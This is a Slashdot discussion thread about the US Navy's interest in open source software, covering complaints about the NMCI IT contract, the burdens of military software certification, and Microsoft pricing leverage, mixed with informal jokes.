HoosierPeschke (887362) | more than 7 years ago | (#19417735)

This could be good for some software that runs on windows to show it is ready for prime time, but it is going to be tough to get managers to go through the hassle of getting it approved.


Quite correct but fortunately Firefox doesn't require Admin privileges to be installed, =)

Re:One word: NMCI (1)

BigPenguin (529751) | more than 7 years ago | (#19417749)

NMCI is the result of the decision to outsource IT for shore based installations. So while NMCI may be it's own animal for shore commands, the FLEET as we like to call it, still runs their own networks. One of the largest in the world in fact. So don't take too much stock in the OP. NMCI may run the school house at base, but Navy IT's run the Navy abroad.

Why the Navy wants FOSS (3, Interesting)

greginnj (891863) | more than 7 years ago | (#19416595)

I'm amazed at the number of people asking for cost comparisons and going on about how there are also training costs, blah blah blah. RTFA and we see:

misconceptions about whether or not open source software qualifies as COTS (commercial off-the-shelf) or GOTS (government off-the-shelf) software has hindered the Navy's ability to fully utilize open source software.
Which, if you use your critical reading skills, would tell you that the Navy is already trying to use FOSS, but is having trouble doing so. We all know about military spending -- they don't give a rat's ass about saving 10% off the fully loaded cost. What we're talking about is Naval Engineering [hotmcl.org] :

The term Seabee Ingenuity grew from deeds recorded during the Solomon campaign. A Seabee Warrant Officer repurchased equipment from customers to set up shop. Bulldozer head gaskets were fashioned from scraps of metal and paper. Waxed paper and tinfoil from cigarette packages served as condensers while 55-gallon drums replaced worn-out radiators. Tires were filled with sawdust and concrete. One Seabee turned his dozer into a piece of combat equipment and wiped out a gun emplacement in the Treasury Islands. The work accomplished by these new Construction Battalions seemed almost impossible and yet the CAN DO standards set the precedence for the battalions that followed.
Now, imagine a similar situation involving software. Your control system is acting up while you're on patrol in the South China Sea -- do you send an email to Redmond and wait for the response, or do you open the hood and fix it yourself? As the pdf memorandum said:

As with any COTS solution, the use of OSS must adhere to all Federal, DoD, and DON policies and be based on open standards to support the DoD's goals of net-centricity and interoperability.
Go Navy!

Re:Why the Navy wants FOSS (0)

Anonymous Coward | more than 7 years ago | (#19417053)

"As with any COTS solution, the use of OSS must adhere to all Federal, DoD, and DON policies and be based on open standards to support the DoD's goals of net-centricity and interoperability"

Which will in all likelihood deep-six most of the OSS they would try to use. Military software has to adhere to development procedures and testing requirements unparalleled in virtually any commercial, or open source, development. If these procedures and creation of testing artifacts isn't tightly coupled with the initial development it will cost as much, or more, to qualify the open source software for use as it would to purchase custom commerical software that was designed from the onset specifically for military use.

That is why the SLOC/time averages of military software developers look horrid compared to other developers. It's not that we're slackers - it is the rigor, paperwork, and procedures it must be developed under in order to be used.

What the Navy is really looking for is more 'open architecture' (compared to their current stove pipe systems) rather than 'open source'.

GPLv3, new clause (1, Interesting)

Anonymous Coward | more than 7 years ago | (#19416763)

Can we please put a clause in GPLv3 that prevents GPL'd software from being used to kill people?

N M C I (No More Computing Inhouse) (3, Informative)

Anonymous Coward | more than 7 years ago | (#19416775)

I work in a Navy research IT environment and have used OSS for years in variety of environments.

In the last few years the Navy has straddled us with the hideous NMCI IT contract that dictates operating systems, software applications, and hardware. When NMCI was conceived, in the womb of ignorance and shortsightedness, they were thinking of providing a common monocultural solution that might work if the only thing the Navy did was to send email and make PowerPoint presentations.

In a research environment you need flexibility in order to match solutions to problems. NMCI forbids the installation "unapproved" software or hardware. This includes software drivers and communication applications for special purpose hardware such as serial/USB/PCI devices. You cannot connect any web enabled devices like cameras, 1-wire control, power control devices, UPS devices, weather stations, data acquisitions, etc.

So what happens at the Navy Labs is there are two networks - the NMCI network and the "Legacy Network" where the work gets down.

In the spirit of reducing cost we have have to maintain two networks and two computers on each desktop and have two exposed flanks to the outside world! It is wasteful, dangerous and inefficient.

Oh did I mention NMCI is inefficient and near useless. I have a NMCI laptop. I would rather have a 286 with two floppy drives and a sharp stick. The other day I needed to access a jpeg image that was on the NMCI network and edit it with Coral Draw (the application they felt I should be using instead of the more useful, efficient and cheaper PSP). I timed the process from pushing the "On" button and loading the remote desktop, mapping the network file system, logging on, clicking thru all the various dialog windows, loading the bloated application and load the file - it took over 27 minutes.

Not the Navy (0)

Anonymous Coward | more than 7 years ago | (#19416827)

There is already enough Seamen being flung around between members of the FOSS community.. there will be way too much if the Navy gets involved.

If only it affected NMCI (1)

DoofusOfDeath (636671) | more than 7 years ago | (#19416869)

NMCI [wikipedia.org]

The U.S. government's biggest gift to Microsoft since the abandoned anti-trust suit.

Yeah but... (3, Funny)

TrappedByMyself (861094) | more than 7 years ago | (#19416897)

If you thought it was hard finding ATI drivers, try finding nuclear sub drivers!

Used all over the place already (1)

flyingfsck (986395) | more than 7 years ago | (#19417177)

Linux is used all over the place already. Linux/Unix is actually preferred from a security accreditation and certification point of view.

It's all about the benjamins (2, Insightful)

ACMENEWSLLC (940904) | more than 7 years ago | (#19417359)

*Considering* open source software often generates substation savings from Microsoft. How many articles on /. have we seen where some government or huge company says they are switching away from Microsoft, only to have Microsoft come back with huge savings?

It's a great negotiating advantage to be "forced" to consider open source.
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